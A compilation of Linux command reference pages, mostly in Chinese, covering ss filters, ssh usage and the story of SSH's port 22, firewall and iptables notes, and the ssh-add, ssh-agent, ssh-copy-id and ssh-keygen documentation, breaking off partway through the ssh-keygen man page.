#匹配本地地址和端口号 


ss src ADDRESS_PATTERN
ss src 192.168.119.103
ss src 192.168.119.103:http
ss src 192.168.119.103:80
ss src 192.168.119.103:smtp
ss src 192.168.119.103:25

#将本地或者远程端口和一个数比较 


ss dport OP PORT 
ss sport OP PORT

ss  sport = :http 
ss  dport = :http 
ss  dport \> :1024 
ss  sport \> :1024 
ss sport \< :32000 
ss  sport eq :22 
ss  dport != :22 
ss  state connected sport = :http 
ss \( sport = :http or sport = :https \) 
ss -o state fin-wait-1 \( sport = :http or sport = :https \) dst 192.168.1/24

说明#

ss dport OP PORT 远程端口和一个数比较;ss sport OP PORT 本地端口和一个数比较。 
OP 可以代表以下任意一个:

<= or le : 小于或等于端口号 
>= or ge : 大于或等于端口号 
== or eq : 等于端口号 
!= or ne : 不等于端口号 
< or gt : 小于端口号 
or lt : 大于端口号

#ss 和 netstat 效率对比 


time netstat -at
time ss

```
</pre>
!!简介
:<div>
ssh
===

openssh套件中的客户端连接工具

</div>

!! 补充说明

:<div>


"ssh命令" 是openssh套件中的客户端连接工具,可以给予ssh加密协议实现安全的远程登录服务器。

</div>

!! 语法

:<div>


```
ssh(选项)(参数)
```

</div>

!! 选项

:<div>


```
-1:强制使用ssh协议版本1;
-2:强制使用ssh协议版本2;
-4:强制使用IPv4地址;
-6:强制使用IPv6地址;
-A:开启认证代理连接转发功能;
-a:关闭认证代理连接转发功能;
-b:使用本机指定地址作为对应连接的源ip地址;
-C:请求压缩所有数据;
-F:指定ssh指令的配置文件;
-f:后台执行ssh指令;
-g:允许远程主机连接主机的转发端口;
-i:指定身份文件;
-l:指定连接远程服务器登录用户名;
-N:不执行远程指令;
-o:指定配置选项;
-p:指定远程服务器上的端口;
-q:静默模式;
-X:开启X11转发功能;
-x:关闭X11转发功能;
-y:开启信任X11转发功能。
```

</div>

!! 参数

:<div>


*   远程主机:指定要连接的远程ssh服务器;
*   指令:要在远程ssh服务器上执行的指令。

</div>

!! 实例

:<div>


```bash
# ssh 用户名@远程服务器地址
ssh user1@172.24.210.101
# 指定端口
ssh -p 2211 root@140.206.185.170

# ssh 大家族
ssh user@ip -p22 # 默认用户名为当前用户名,默认端口为 22
ssh-keygen # 为当前用户生成 ssh 公钥 + 私钥
ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SSH2(default) PKCS8 PEM
ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys,之后可以免密登录
```

</div>

!! 背后故事

:<div>


> 英文:Tatu Ylonen  
> 编译:Linux中国/kenxx  
> 来源:https://linux.cn/article-8476-1.html  

为什么 SSH(安全终端)的端口号是 22 呢,这不是一个巧合,这其中有个我(Tatu Ylonen,SSH 协议的设计者)未曾诉说的故事。


</div>

!!# 将 SSH 协议端口号设为 22 的故事

:<div>


1995 年春我编写了 SSH 协议的最初版本,那时候 telnet 和 FTP 正被广泛使用。

当时我设计 SSH 协议想着是为了替代 telnet(端口 23)和 ftp(端口21)两个协议的,而端口 22 是空闲的。我想当然地就选择了夹在 telnet 和 ftp 的端口中间的数字。我觉得端口号虽然是个小事但似乎又存在着某种信念。但我到底要怎么拿到那个端口号呢?我未曾拥有过任何一个端口号,但我却认识几个拥有端口号的人!

在那时取得端口号的事情其实说来挺简单的。毕竟当时的因特网(Internet)并不是很大,是因特网爆炸的早期。端口号分配的活儿是 IANA(Internet Assigned Numbers Authority,互联网数字分配机构)干的。在那时这机构可相当于是因特网先驱 [Jon Postel](https://en.wikipedia.org/wiki/Jon_Postel) 和 [Joyce K. Reynolds](https://en.wikipedia.org/wiki/Joyce_K._Reynolds) 一般的存在。Jon 参与编写了多项主要的协议标准,例如 IP(RFC 791)、ICMP(RFC 792)和 TCP(RFC 793)等一些你应该早有耳闻的协议。

我可以说是敬畏 Jon 先生的,他参与编写了几乎所有主要的因特网标准文档(Internet RFC)!

1995 年 7 月,就在我发布 ssh-1.0 前,我发送了一封邮件给 IANA:

> From ylo Mon Jul 10 11:45:48 +0300 1995  
> From: Tatu Ylonen  
> To: Internet Assigned Numbers Authority  
> Subject: 请求取得一个端口号  
> Organization: 芬兰赫尔辛基理工大学  
>
> 亲爱的机构成员:
>
> 我写了个可以在不安全的网络环境中安全地从一台机器登录到另一台机器的程序。它主要是对现有的 telnet 协议以及 rlogin 协议的功能性提升和安全性改进。说的具体些,就是可以防御 IP、DNS > 或路由等欺骗行为。我打算将我的软件免费地发布在因特网上,以得到广泛地使用。
>
> 我希望为该软件注册一个特权端口号,要是这个端口号在 1 到 255 > 之间就更好了,这样它就可以用在名字服务器的 WKS 字段中了。
>
> 我在附件中附上了协议标准的草案。这个软件已经在本地运行了几个月了,我已准备在获得端口号后就发布。如果端口号分配一事安排的及时,我希望这周就将要发布的软件准备好。我目前在 beta 版测试时使用的端口号是 > 22,如果要是能够分配到这个端口,我就不用做什么更改了(目前这个端口在列表中还是空闲的)。
>
> 软件中服务的名称叫 ssh(系 Secure Shell 的缩写)。
>
> 您最真诚的,  
> Tatu Ylonen 

(LCTT 译注:DNS 协议中的 WKS 记录类型意即“众所周知的业务描述”,是类似于 A、MX 这样的 DNS 记录类型,用于描述某个 IP 所提供的服务,目前鲜见使用。参见: https://docs.oracle.com/cd/E19683-01/806-4077/dnsintro-154/index.html 。)

第二天,我就收到了 Joyce 发来的邮件:

> Date: Mon, 10 Jul 1995 15:35:33 -0700  
> From: jkrey@ISI.EDU  
> To: ylo@cs.hut.fi  
> Subject: 回复:请求取得一个端口号  
> Cc: iana@ISI.EDU  
> Tatu,  
> 我们将端口号 22 分配给 ssh 服务了,你目前是该服务的主要联系人。  
> Joyce  

这就搞定了!SSH 的端口正式使用 22!!!

1995 年 7 月 12 日上午 2 点 21 分,我给我在赫尔辛基理工大学的测试者们宣布了 SSH 的最后 beta 版本。当日下午 5 点 23 分,我给测试者们宣布了 ssh-1.0.0 版本。1995 年 7 月 12 日,下午 5 点 51 分,我将一份 SSH(安全终端)的宣告发给了 cypherpunks@toad.com 的邮件列表,此外我还将其发给了一些新闻组、邮件列表和一些在因特网上讨论相关话题的人们。

</div>

!!# 如何更改 SSH 服务的端口号

:<div>


SSH 服务器是默认运行在 22 号端口上的。然而,由于某些原因需要,它也可以运行在别的端口上。比如为了方便测试使用,又比如在同一个宿主机上运行多个不同的配置。当然,极少情况下,不使用 root 权限运行它也可以,比如某些必须运行在非特权的端口的情况(端口号大于等于 1024)。

端口号可以在配置文件 /etc/ssh/sshd_config 中将 Port 22 更改。也可以使用 -p  选项运行 sshd。SSH 客户端和 sftp 程序也可以使用 -p  选项。

</div>

!!# 配置 SSH 协议穿越防火墙

:<div>


SSH 是少数通常被许可穿越防火墙的协议之一。通常的做法是不限制出站的 SSH 连接,尤其常见于一些较小的或者比较技术型的组织中,而入站的 SSH 连接通常会限制到一台或者是少数几台服务器上。

</div>

!!# 出站的 SSH 连接

:<div>


在防火墙中配置出站的 SSH 连接十分简单。如果完全限制了外发连接,那么只需要创建一个允许 TCP 端口 22 可以外发的规则即可。如果你想限制目标地址,你可以限制该规则仅允许访问你的组织放在云端的外部服务器或保护该云端的跳板服务器即可。

</div>

!!# 反向通道是有风险的

:<div>


其实不限制出站的 SSH 连接虽然是可以的,但是是存在风险的,SSH 协议是支持 通道访问 的。最初的想法是在外部服务器搭建一个 SSH 服务监听来自各处的连接,将进入的连接转发到组织,并让这个连接可以访问某个内部服务器。

在某些场景下这当然非常的方便。开发者和系统管理员经常使用它打开一个通道以便于他们可以远程访问,比如在家里或者在旅行中使用笔记本电脑等场景。

然而通常来讲这些做法是违背安全策略的,跳过了防火墙管理员和安全团队保护的控制无疑是违背安全策略的,比如这些: PCI、HIPAA、NIST SP 800-53 等。它可以被黑客和外国情报机构用来在组织内留下后门。

CryptoAuditor 是一款可以控制通道穿过防火墙或者一组云端服务器入口的产品。该款产品可以配合 通用 SSH 密钥管理器(Universal SSH Key Manager) 来获得对 主机密钥(host keys)的访问,以在启用防火墙并阻挡未授权转发的场景中解密 SSH 会话。

</div>

!!# 入站的 SSH 访问

:<div>


对于入站访问而言,这里有几点需要说一下:

配置防火墙,并转发所有去往 22 端口的连接只能流向到一个特定的内部网络 IP 地址或者一个 DMZ 主机。在该 IP 上运行 CryptoAuditor 或者跳板机来控制和审查所有访问该组织的连接。
在防火墙上使用不同的端口访问不同的服务器。
只允许使用 IPsec 协议这样的 VPN(虚拟专用网)登录后连接 SSH 服务。

</div>

!!# 通过 iptables 服务限制 SSH 访问

:<div>


iptables 是一款内建在 Linux 内核的宿主防火墙。通常配置用于保护服务器以防止被访问那些未明确开启的端口。

如果服务器上启用了 iptables,使用下面的命令将可以允许进入的 SSH 访问,当然命令需要以 root 身份运行。

```
iptables -A INPUT -p tcp --dport 22 -m conntrack --ctstate NEW,ESTABLISHED -j ACCEPT
iptables -A OUTPUT -p tcp --sport 22 -m conntrack --ctstate ESTABLISHED -j ACCEPT
```

如果你想将上述命令创建的规则持久地保存,在某些系统版本中,可使用如下命令:

```
service iptables save
```

<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
*NAME<pre>
     ssh-add — adds private key identities to the authentication agent

</pre>
*SYNOPSIS<pre>
     ssh-add [-cDdkLlXx] [-E fingerprint_hash] [-t life] [file ...]
     ssh-add -s pkcs11
     ssh-add -e pkcs11

 </pre>
*DESCRIPTION<pre>
     ssh-add adds private key identities to the authentication agent, ssh-agent(1).  When run without arguments, it adds the files
     ~/.ssh/id_rsa, ~/.ssh/id_dsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ed25519 and ~/.ssh/identity.  After loading a private key, ssh-add
     will try to load corresponding certificate information from the filename obtained by appending -cert.pub to the name of the
     private key file.  Alternative file names can be given on the command line.

     If any file requires a passphrase, ssh-add asks for the passphrase from the user.  The passphrase is read from the user's tty.
     ssh-add retries the last passphrase if multiple identity files are given.

     The authentication agent must be running and the SSH_AUTH_SOCK environment variable must contain the name of its socket for
     ssh-add to work.

     The options are as follows:

     -c      Indicates that added identities should be subject to confirmation before being used for authentication.  Confirmation
             is performed by ssh-askpass(1).  Successful confirmation is signaled by a zero exit status from ssh-askpass(1), rather
             than text entered into the requester.

     -D      Deletes all identities from the agent.

     -d      Instead of adding identities, removes identities from the agent.  If ssh-add has been run without arguments, the keys
             for the default identities and their corresponding certificates will be removed.  Otherwise, the argument list will be
             interpreted as a list of paths to public key files to specify keys and certificates to be removed from the agent.  If
             no public key is found at a given path, ssh-add will append .pub and retry.

     -E fingerprint_hash
             Specifies the hash algorithm used when displaying key fingerprints.  Valid options are: “md5” and “sha256”.  The
             default is “sha256”.

     -e pkcs11
             Remove keys provided by the PKCS#11 shared library pkcs11.

     -k      When loading keys into or deleting keys from the agent, process plain private keys only and skip certificates.

     -L      Lists public key parameters of all identities currently represented by the agent.

     -l      Lists fingerprints of all identities currently represented by the agent.

     -s pkcs11
             Add keys provided by the PKCS#11 shared library pkcs11.

     -t life
             Set a maximum lifetime when adding identities to an agent.  The lifetime may be specified in seconds or in a time for‐
             mat specified in sshd_config(5).

     -X      Unlock the agent.

     -x      Lock the agent with a password.

</pre>
*ENVIRONMENT<pre>
     DISPLAY and SSH_ASKPASS
             If ssh-add needs a passphrase, it will read the passphrase from the current terminal if it was run from a terminal.  If
             ssh-add does not have a terminal associated with it but DISPLAY and SSH_ASKPASS are set, it will execute the program
             specified by SSH_ASKPASS (by default “ssh-askpass”) and open an X11 window to read the passphrase.  This is particu‐
             larly useful when calling ssh-add from a .xsession or related script.  (Note that on some machines it may be necessary
             to redirect the input from /dev/null to make this work.)

     SSH_AUTH_SOCK
             Identifies the path of a UNIX-domain socket used to communicate with the agent.

     SSH_USE_STRONG_RNG
             The reseeding of the OpenSSL random generator is usually done from /dev/urandom.  If the SSH_USE_STRONG_RNG environment
             variable is set to value other than 0 the OpenSSL random generator is reseeded from /dev/random.  The number of bytes
             read is defined by the SSH_USE_STRONG_RNG value.  Minimum is 14 bytes.  This setting is not recommended on the comput‐
             ers without the hardware random generator because insufficient entropy causes the connection to be blocked until enough
             entropy is available.

</pre>
*FILES<pre>
     ~/.ssh/identity
             Contains the protocol version 1 RSA authentication identity of the user.

     ~/.ssh/id_dsa
             Contains the protocol version 2 DSA authentication identity of the user.

     ~/.ssh/id_ecdsa
             Contains the protocol version 2 ECDSA authentication identity of the user.

     ~/.ssh/id_ed25519
             Contains the protocol version 2 Ed25519 authentication identity of the user.

     ~/.ssh/id_rsa
             Contains the protocol version 2 RSA authentication identity of the user.

     Identity files should not be readable by anyone but the user.  Note that ssh-add ignores identity files if they are accessible
     by others.

</pre>
*EXIT STATUS<pre>
     Exit status is 0 on success, 1 if the specified command fails, and 2 if ssh-add is unable to contact the authentication agent.

</pre>
*SEE ALSO<pre>
     ssh(1), ssh-agent(1), ssh-askpass(1), ssh-keygen(1), sshd(8)

</pre>
*AUTHORS<pre>
     OpenSSH is a derivative of the original and free ssh 1.2.12 release by Tatu Ylonen.  Aaron Campbell, Bob Beck, Markus Friedl,
     Niels Provos, Theo de Raadt and Dug Song removed many bugs, re-added newer features and created OpenSSH.  Markus Friedl con‐
     tributed the support for SSH protocol versions 1.5 and 2.0
</pre>
!!简介
:<div>
ssh-agent
===

ssh密钥管理器

</div>

!! 补充说明

:<div>


"ssh-agent命令" 是一种控制用来保存公钥身份验证所使用的私钥的程序。ssh-agent在X会话或登录会话之初启动,所有其他窗口或程序则以客户端程序的身份启动并加入到ssh-agent程序中。通过使用环境变量,可定位代理并在登录到其他使用ssh机器上时使用代理自动进行身份验证。

其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。

</div>

!! 语法  

:<div>


```
ssh-agent [-c | -s] [-d] [-a bind_address] [-t life] [command [arg ...]]
ssh-agent [-c | -s] -k
```

</div>

!! 选项  

:<div>


```
-a bind_address:bind the agent to the UNIX-domain socket bind_address.
-c:生成C-shell风格的命令输出。
-d:调试模式。
-k:把ssh-agent进程杀掉。
-s:生成Bourne shell 风格的命令输出。
-t life:设置默认值添加到代理人的身份最大寿命。
```

</div>

!! 实例  

:<div>


运行ssh-agent:

```
ssh-agent
```

运行ssh-agent,它会打印出来它使用的环境和变量。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ssh-copy-id
===

把本地的ssh公钥文件安装到远程主机对应的账户下

</div>

!! 补充说明

:<div>


"ssh-copy-id命令" 可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。

</div>

!! 语法  

:<div>


```
ssh-copy-id [-i [identity_file]] [user@]machine
```

</div>

!! 选项  

:<div>


```
-i:指定公钥文件
```

</div>

!! 实例  

:<div>


1、把本地的ssh公钥文件安装到远程主机对应的账户下:

```
ssh-copy-id user@server
ssh-copy-id -i ~/.ssh/id_rsa.pub user@server
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
*NAME<pre>
     ssh-keygen — authentication key generation, management and conversion

</pre>
*SYNOPSIS<pre>
     ssh-keygen [-q] [-b bits] [-t dsa | ecdsa | ed25519 | rsa | rsa1] [-N new_passphrase] [-C comment] [-f output_keyfile]
     ssh-keygen -p [-P old_passphrase] [-N new_passphrase] [-f keyfile]
     ssh-keygen -i [-m key_format] [-f input_keyfile]
     ssh-keygen -e [-m key_format] [-f input_keyfile]
     ssh-keygen -y [-f input_keyfile]
     ssh-keygen -c [-P passphrase] [-C comment] [-f keyfile]
     ssh-keygen -l [-v] [-E fingerprint_hash] [-f input_keyfile]
     ssh-keygen -B [-f input_keyfile]
     ssh-keygen -D pkcs11
     ssh-keygen -F hostname [-f known_hosts_file] [-l]
     ssh-keygen -H [-f known_hosts_file]
     ssh-keygen -R hostname [-f known_hosts_file]
     ssh-keygen -r hostname [-f input_keyfile] [-g]
     ssh-keygen -G output_file [-v] [-b bits] [-M memory] [-S start_point]
     ssh-keygen -T output_file -f input_file [-v] [-a rounds] [-J num_lines] [-j start_line] [-K checkpt] [-W generator]
     ssh-keygen -s ca_key -I certificate_identity [-h] [-n principals] [-O option] [-V validity_interval] [-z serial_number]
                file ...
     ssh-keygen -L [-f input_keyfile]
     ssh-keygen -A
     ssh-keygen -k -f krl_file [-u] [-s ca_public] [-z version_number] file ...
     ssh-keygen -Q -f krl_file file ...

</pre>
*DESCRIPTION<pre>
     ssh-keygen generates, manages and converts authentication keys for ssh(1).  ssh-keygen can create keys for use by SSH protocol
     versions 1 and 2.  Protocol 1 should not be used and is only offered to support legacy devices.  It suffers from a number of
     cryptographic weaknesses and doesn't support many of the advanced features available for protocol 2.

     The type of key to be generated is specified with the -t option.  If invoked without any arguments, ssh-keygen will generate an
     RSA key for use in SSH protocol 2 connections.

     ssh-keygen is also used to generate groups for use in Diffie-Hellman group exchange (DH-GEX).  See the MODULI GENERATION sec‐
     tion for details.

     Finally, ssh-keygen can be used to generate and update Key Revocation Lists, and to test whether given keys have been revoked
     by one.  See the KEY REVOCATION LISTS section for details.

     Normally each user wishing to use SSH with public key authentication runs this once to create the authentication key in
     ~/.ssh/identity, ~/.ssh/id_dsa, ~/.ssh/id_ecdsa, ~/.ssh/id_ed25519 or ~/.ssh/id_rsa.  Additionally, the system administrator
     may use this to generate host keys, as seen in /etc/rc.

     Normally this program generates the key and asks for a file in which to store the private key.  The public key is stored in a
     file with the same name but “.pub” appended.  The program also asks for a passphrase.  The passphrase may be empty to indicate
     no passphrase (host keys must have an empty passphrase), or it may be a string of arbitrary length.  A passphrase is similar to
     a password, except it can be a phrase with a series of words, punctuation, numbers, whitespace, or any string of characters you
     want.  Good passphrases are 10-30 characters long, are not simple sentences or otherwise easily guessable (English prose has
     only 1-2 bits of entropy per character, and provides very bad passphrases), and contain a mix of upper and lowercase letters,
     numbers, and non-alphanumeric characters.  The passphrase can be changed later by using the -p option.

     There is no way to recover a lost passphrase.  If the passphrase is lost or forgotten, a new key must be generated and the cor‐
     responding public key copied to other machines.

     For RSA1 keys and keys stored in the newer OpenSSH format, there is also a comment field in the key file that is only for con‐
     venience to the user to help identify the key.  The comment can tell what the key is for, or whatever is useful.  The comment
     is initialized to “user@host” when the key is created, but can be changed using the -c option.

     After a key is generated, instructions below detail where the keys should be placed to be activated.

     The options are as follows:

     -A      For each of the key types (rsa1, rsa, dsa, ecdsa and ed25519) for which host keys do not exist, generate the host keys
             with the default key file path, an empty passphrase, default bits for the key type, and default comment.  This is used
             by /etc/rc to generate new host keys.

     -a rounds
             When saving a new-format private key (i.e. an ed25519 key or any SSH protocol 2 key when the -o flag is set), this
             option specifies the number of KDF (key derivation function) rounds used.  Higher numbers result in slower passphrase
             verification and increased resistance to brute-force password cracking (should the keys be stolen).

             When screening DH-GEX candidates ( using the -T command).  This option specifies the number of primality tests to per‐
             form.

     -B      Show the bubblebabble digest of specified private or public key file.

     -b bits
             Specifies the number of bits in the key to create.  For RSA keys, the minimum size is 1024 bits and the default is 2048
             bits.  Generally, 2048 bits is considered sufficient.  DSA keys must be exactly 1024 bits as specified by FIPS 186-2.
             For ECDSA keys, the -b flag determines the key length by selecting from one of three elliptic curve sizes: 256, 384 or
             521 bits.  Attempting to use bit lengths other than these three values for ECDSA keys will fail.  Ed25519 keys have a
             fixed length and the -b flag will be ignored.

     -C comment
             Provides a new comment.

     -c      Requests changing the comment in the private and public key files.  This operation is only supported for RSA1 keys and
             keys stored in the newer OpenSSH format.  The program will prompt for the file containing the private keys, for the
             passphrase if the key has one, and for the new comment.

     -D pkcs11
             Download the RSA public keys provided by the PKCS#11 shared library pkcs11.  When used in combination with -s, this
             option indicates that a CA key resides in a PKCS#11 token (see the CERTIFICATES section for details).

     -E fingerprint_hash
             Specifies the hash algorithm used when displaying key fingerprints.  Valid options are: “md5” and “sha256”.  The
             default is “sha256”.

     -e      This option will read a private or public OpenSSH key file and print to stdout the key in one of the formats specified
             by the -m option.  The default export format is “RFC4716”.  This option allows exporting OpenSSH keys for use by other
             programs, including several commercial SSH implementations.

     -F hostname
             Search for the specified hostname in a known_hosts file, listing any occurrences found.  This option is useful to find
             hashed host names or addresses and may also be used in conjunction with the -H option to print found keys in a hashed
             format.

     -f filename
             Specifies the filename of the key file.

     -G output_file
             Generate candidate primes for DH-GEX.  These primes must be screened for safety (using the -T option) before use.

     -g      Use generic DNS format when printing fingerprint resource records using the -r command.

     -H      Hash a known_hosts file.  This replaces all hostnames and addresses with hashed representations within the specified
             file; the original content is moved to a file with a .old suffix.  These hashes may be used normally by ssh and sshd,
             but they do not reveal identifying information should the file's contents be disclosed.  This option will not modify
             existing hashed hostnames and is therefore safe to use on files that mix hashed and non-hashed names.

     -h      When signing a key, create a host certificate instead of a user certificate.  Please see the CERTIFICATES section for
             details.

     -I certificate_identity
             Specify the key identity when signing a public key.  Please see the CERTIFICATES section for details.

     -i      This option will read an unencrypted private (or public) key file in the format specified by the -m option and print an
             OpenSSH compatible private (or public) key to stdout.  This option allows importing keys from other software, including
             several commercial SSH implementations.  The default import format is “RFC4716”.

     -J num_lines
             Exit after screening the specified number of lines while performing DH candidate screening using the -T option.

     -j start_line
             Start screening at the specified line number while performing DH candidate screening using the -T option.

     -K checkpt
             Write the last line processed to the file checkpt while performing DH candidate screening using the -T option.  This
             will be used to skip lines in the input file that have already been processed if the job is restarted.

     -k      Generate a KRL file.  In this mode, ssh-keygen will generate a KRL file at the location specified via the -f flag that
             revokes every key or certificate presented on the command line.  Keys/certificates to be revoked may be specified by
             public key file or using the format described in the KEY REVOCATION LISTS section.

     -L      Prints the contents of one or more certificates.

     -l      Show fingerprint of specified public key file.  Private RSA1 keys are also supported.  For RSA and DSA keys ssh-keygen
             tries to find the matching public key file and prints its fingerprint.  If combined with -v, a visual ASCII art repre‐
             sentation of the key is supplied with the fingerprint.

     -M memory
             Specify the amount of memory to use (in megabytes) when generating candidate moduli for DH-GEX.

     -m key_format
             Specify a key format for the -i (import) or -e (export) conversion options.  The supported key formats are: “RFC4716”
             (RFC 4716/SSH2 public or private key), “PKCS8” (PEM PKCS8 public key) or “PEM” (PEM public key).  The default conver‐
             sion format is “RFC4716”.

     -N new_passphrase
             Provides the new passphrase.

     -n principals
             Specify one or more principals (user or host names) to be included in a certificate when signing a key.  Multiple prin‐
             cipals may be specified, separated by commas.  Please see the CERTIFICATES section for details.

     -O option
             Specify a certificate option when signing a key.  This option may be specified multiple times.  Please see the
             CERTIFICATES section for details.  The options that are valid for user certificates are:

             clear   Clear all enabled permissions.  This is useful for clearing the default set of permissions so permissions may
                     be added individually.

             force-command=command
                     Forces the execution of command instead of any shell or command specified by the user when the certificate is
                     used for authentication.

             no-agent-forwarding
                     Disable ssh-agent(1) forwarding (permitted by default).

             no-port-forwarding
                     Disable port forwarding (permitted by default).

             no-pty  Disable PTY allocation (permitted by default).

             no-user-rc
                     Disable execution of ~/.ssh/rc by sshd(8) (permitted by default).

             no-x11-forwarding
                     Disable X11 forwarding (permitted by default).

             permit-agent-forwarding
                     Allows ssh-agent(1) forwarding.

             permit-port-forwarding
                     Allows port forwarding.

             permit-pty
                     Allows PTY allocation.

             permit-user-rc
                     Allows execution of ~/.ssh/rc by sshd(8).

             permit-x11-forwarding
                     Allows X11 forwarding.

             source-address=address_list
                     Restrict the source addresses from which the certificate is considered valid.  The address_list is a comma-sep‐
                     arated list of one or more address/netmask pairs in CIDR format.

             At present, no options are valid for host keys.

     -o      Causes ssh-keygen to save private keys using the new OpenSSH format rather than the more compatible PEM format.  The
             new format has increased resistance to brute-force password cracking but is not supported by versions of OpenSSH prior
             to 6.5.  Ed25519 keys always use the new private key format.

     -P passphrase
             Provides the (old) passphrase.

     -p      Requests changing the passphrase of a private key file instead of creating a new private key.  The program will prompt
             for the file containing the private key, for the old passphrase, and twice for the new passphrase.

     -Q      Test whether keys have been revoked in a KRL.

     -q      Silence ssh-keygen.

     -R hostname
             Removes all keys belonging to hostname from a known_hosts file.  This option is useful to delete hashed hosts (see the
             -H option above).

     -r hostname
             Print the SSHFP fingerprint resource record named hostname for the specified public key file.

     -S start
             Specify start point (in hex) when generating candidate moduli for DH-GEX.

     -s ca_key
             Certify (sign) a public key using the specified CA key.  Please see the CERTIFICATES section for details.

             When generating a KRL, -s specifies a path to a CA public key file used to revoke certificates directly by key ID or
             serial number.  See the KEY REVOCATION LISTS section for details.

     -T output_file
             Test DH group exchange candidate primes (generated using the -G option) for safety.

     -t dsa | ecdsa | ed25519 | rsa | rsa1
             Specifies the type of key to create.  The possible values are “rsa1” for protocol version 1 and “dsa”, “ecdsa”,
             “ed25519”, or “rsa” for protocol version 2.

     -u      Update a KRL.  When specified with -k, keys listed via the command line are added to the existing KRL rather than a new
             KRL being created.

     -V validity_interval
             Specify a validity interval when signing a certificate.  A validity interval may consist of a single time, indicating
             that the certificate is valid beginning now and expiring at that time, or may consist of two times separated by a colon
             to indicate an explicit time interval.  The start time may be specified as a date in YYYYMMDD format, a time in YYYYM‐
             MDDHHMMSS format or a relative time (to the current time) consisting of a minus sign followed by a relative time in the
             format described in the TIME FORMATS section of sshd_config(5).  The end time may be specified as a YYYYMMDD date, a
             YYYYMMDDHHMMSS time or a relative time starting with a plus character.

             For example: “+52w1d” (valid from now to 52 weeks and one day from now), “-4w:+4w” (valid from four weeks ago to four
             weeks from now), “20100101123000:20110101123000” (valid from 12:30 PM, January 1st, 2010 to 12:30 PM, January 1st,
             2011), “-1d:20110101” (valid from yesterday to midnight, January 1st, 2011).

     -v      Verbose mode.  Causes ssh-keygen to print debugging messages about its progress.  This is helpful for debugging moduli
             generation.  Multiple -v options increase the verbosity.  The maximum is 3.

     -W generator
             Specify desired generator when testing candidate moduli for DH-GEX.

     -y      This option will read a private OpenSSH format file and print an OpenSSH public key to stdout.

     -z serial_number
             Specifies a serial number to be embedded in the certificate to distinguish this certificate from others from the same
             CA.  The default serial number is zero.

             When generating a KRL, the -z flag is used to specify a KRL version number.

</pre>
*MODULI GENERATION<pre>
     ssh-keygen may be used to generate groups for the Diffie-Hellman Group Exchange (DH-GEX) protocol.  Generating these groups is
     a two-step process: first, candidate primes are generated using a fast, but memory intensive process.  These candidate primes
     are then tested for suitability (a CPU-intensive process).

     Generation of primes is performed using the -G option.  The desired length of the primes may be specified by the -b option.
     For example:

           # ssh-keygen -G moduli-2048.candidates -b 2048

     By default, the search for primes begins at a random point in the desired length range.  This may be overridden using the -S
     option, which specifies a different start point (in hex).

     Once a set of candidates have been generated, they must be screened for suitability.  This may be performed using the -T
     option.  In this mode ssh-keygen will read candidates from standard input (or a file specified using the -f option).  For exam‐
     ple:

           # ssh-keygen -T moduli-2048 -f moduli-2048.candidates

     By default, each candidate will be subjected to 100 primality tests.  This may be overridden using the -a option.  The DH gen‐
     erator value will be chosen automatically for the prime under consideration.  If a specific generator is desired, it may be
     requested using the -W option.  Valid generator values are 2, 3, and 5.

     Screened DH groups may be installed in /etc/ssh/moduli.  It is important that this file contains moduli of a range of bit
     lengths and that both ends of a connection share common moduli.

</pre>
*CERTIFICATES<pre>
     ssh-keygen supports signing of keys to produce certificates that may be used for user or host authentication.  Certificates
     consist of a public key, some identity information, zero or more principal (user or host) names and a set of options that are
     signed by a Certification Authority (CA) key.  Clients or servers may then trust only the CA key and verify its signature on a
     certificate rather than trusting many user/host keys.  Note that OpenSSH certificates are a different, and much simpler, format
     to the X.509 certificates used in ssl(8).

     ssh-keygen supports two types of certificates: user and host.  User certificates authenticate users to servers, whereas host
     certificates authenticate server hosts to users.  To generate a user certificate:

           $ ssh-keygen -s /path/to/ca_key -I key_id /path/to/user_key.pub

     The resultant certificate will be placed in /path/to/user_key-cert.pub.  A host certificate requires the -h option:

           $ ssh-keygen -s /path/to/ca_key -I key_id -h /path/to/host_key.pub

     The host certificate will be output to /path/to/host_key-cert.pub.

     It is possible to sign using a CA key stored in a PKCS#11 token by providing the token library using -D and identifying the CA
     key by providing its public half as an argument to -s:

           $ ssh-keygen -s ca_key.pub -D libpkcs11.so -I key_id user_key.pub

     In all cases, key_id is a "key identifier" that is logged by the server when the certificate is used for authentication.

     Certificates may be limited to be valid for a set of principal (user/host) names.  By default, generated certificates are valid
     for all users or hosts.  To generate a certificate for a specified set of principals:

           $ ssh-keygen -s ca_key -I key_id -n user1,user2 user_key.pub
           $ ssh-keygen -s ca_key -I key_id -h -n host.domain host_key.pub

     Additional limitations on the validity and use of user certificates may be specified through certificate options.  A certifi‐
     cate option may disable features of the SSH session, may be valid only when presented from particular source addresses or may
     force the use of a specific command.  For a list of valid certificate options, see the documentation for the -O option above.

     Finally, certificates may be defined with a validity lifetime.  The -V option allows specification of certificate start and end
     times.  A certificate that is presented at a time outside this range will not be considered valid.  By default, certificates
     are valid from UNIX Epoch to the distant future.

     For certificates to be used for user or host authentication, the CA public key must be trusted by sshd(8) or ssh(1).  Please
     refer to those manual pages for details.

</pre>
*KEY REVOCATION LISTS<pre>
     ssh-keygen is able to manage OpenSSH format Key Revocation Lists (KRLs).  These binary files specify keys or certificates to be
     revoked using a compact format, taking as little as one bit per certificate if they are being revoked by serial number.

     KRLs may be generated using the -k flag.  This option reads one or more files from the command line and generates a new KRL.
     The files may either contain a KRL specification (see below) or public keys, listed one per line.  Plain public keys are
     revoked by listing their hash or contents in the KRL and certificates revoked by serial number or key ID (if the serial is zero
     or not available).

     Revoking keys using a KRL specification offers explicit control over the types of record used to revoke keys and may be used to
     directly revoke certificates by serial number or key ID without having the complete original certificate on hand.  A KRL speci‐
     fication consists of lines containing one of the following directives followed by a colon and some directive-specific informa‐
     tion.

     serial: serial_number[-serial_number]
